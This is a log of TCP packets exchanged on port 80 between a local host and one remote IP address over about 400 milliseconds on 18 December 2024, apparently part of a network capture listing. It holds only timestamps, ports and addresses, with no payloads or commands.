Dec 18, 2024 21:30:43.366971970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.366986990 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.367607117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.367619038 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.367666960 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.368300915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.368314981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.368345976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.368371964 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.368971109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.368990898 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.369024038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.369052887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.369672060 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.369685888 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.369697094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.369733095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.370395899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.370409012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.370454073 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.371057987 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.371071100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.371124029 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.371758938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.371772051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.371808052 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.372395992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.372440100 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.531595945 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.531713009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.531789064 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.532074928 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.532193899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.532207012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.532241106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.532253027 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.532835007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.532876015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.533113956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.533149958 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.533348083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.533384085 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.533574104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.533586979 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.533612013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.533623934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.534246922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.534260988 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.534296989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.534785986 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.534797907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.534833908 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.535423994 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.535435915 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.535459995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.535485983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.536057949 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.536070108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.536094904 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.536108017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.536770105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.536792040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.536808968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.536828041 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.537290096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.537302971 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.537507057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.537975073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.537995100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.538014889 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.538034916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.538682938 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.538696051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.538734913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.539395094 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.539407969 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.539441109 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.540040970 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.540054083 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.540066004 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.540082932 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.540107965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.540719032 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.540733099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.541023970 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.541445017 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.541457891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.541754961 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.542078972 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.542098045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.542131901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.542156935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.542789936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.542804003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.542813063 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.542846918 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.543464899 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.543478012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.543517113 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.544137001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.544148922 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.544181108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.544945955 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.544959068 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.544987917 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.545039892 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.545578003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.545591116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.545619965 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.545631886 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.546303034 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.546315908 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.546324968 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.546355963 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.546381950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.546952963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.546976089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.547020912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.547633886 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.547645092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.547692060 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.548259974 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.548270941 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.548301935 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.548322916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.548971891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.548984051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.549017906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.549643040 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.549659014 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.549669981 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.549696922 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.549710035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.550303936 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.550316095 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.550353050 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.550981045 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.550998926 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.551050901 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.551673889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.551692963 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.551738977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.552382946 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.552396059 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.552406073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.552654982 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.553091049 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.553114891 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.553165913 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.553781033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.553792953 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.553837061 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.554486036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.554497957 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.554537058 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.555180073 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.555197954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.555233002 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.555246115 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.555845976 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.555859089 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.555870056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.555906057 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.555932999 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.556513071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.556524992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.556564093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.557199001 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.557212114 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.557329893 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.557862043 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.557879925 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.557925940 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.557945013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.558582067 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.558595896 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.558605909 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.558638096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.558665037 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.559302092 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.559322119 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.559364080 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.560113907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.560132980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.560173035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.560712099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.560726881 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.560770035 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.561346054 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.561364889 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.561384916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.561409950 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.562012911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.562025070 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.562036037 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.562050104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.562062979 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.562083006 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.562699080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.562711000 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.562736034 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.562747955 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.563410997 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.563430071 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.563469887 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.564146996 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.564160109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.564193010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.731292009 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.731517076 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.731528044 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.731596947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.731647015 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.731816053 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.732186079 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.732198954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.732238054 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.732769012 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.733134985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.733148098 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.733176947 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.733189106 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.733726025 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.733757973 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.733788013 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.733799934 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.734375954 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.734388113 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.734432936 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.735044003 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.735057116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.735093117 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.735599041 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.735610008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.735657930 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.736306906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.736335039 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.736403942 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.736784935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.736804008 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.736824989 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.736850977 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.737510920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.737524033 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.737555981 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.737567902 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.738229036 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.738241911 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.738281012 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.738859892 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.738876104 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.738915920 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.739413023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.739451885 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.739952087 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.739998102 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.740046978 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.740648985 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.740686893 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.740698099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.740731001 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.740746021 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.741345882 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.741364956 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.741384983 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.741398096 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.742052078 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.742065907 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.742098093 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.742110968 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.742777109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.742789030 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.742829084 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.743415117 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.743434906 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.743496895 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.744146109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.744158983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.744184017 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.744211912 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.744849920 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.744862080 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.744908094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.744908094 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.745515108 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.745527983 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.745569944 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.746323109 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.747035980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.747047901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.747081995 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.747095108 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.747526884 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.747613907 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.748229980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.748241901 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.748279095 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.748292923 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.748893023 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.748912096 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.748953104 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.749605894 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.749619007 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.749656916 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.750296116 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.750308990 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.750351906 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.751152992 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.751187086 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.751642942 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.751662016 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.751698971 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.752356052 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.752367020 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.752402067 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.753073931 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.753092051 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.753102064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.753118038 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.753133059 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.753729105 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.753741980 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.753782988 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.754416943 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.754430056 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.754467010 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.755116940 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.755129099 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.755155087 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.755175114 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.755762100 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.755780935 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.755789995 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.755799055 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.755810976 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.755834103 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.756473064 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.756485939 CET	80	49819	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:43.756520987 CET	49819	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:43.756535053 CET	49819	80	192.168.2.5	31.41.244.11
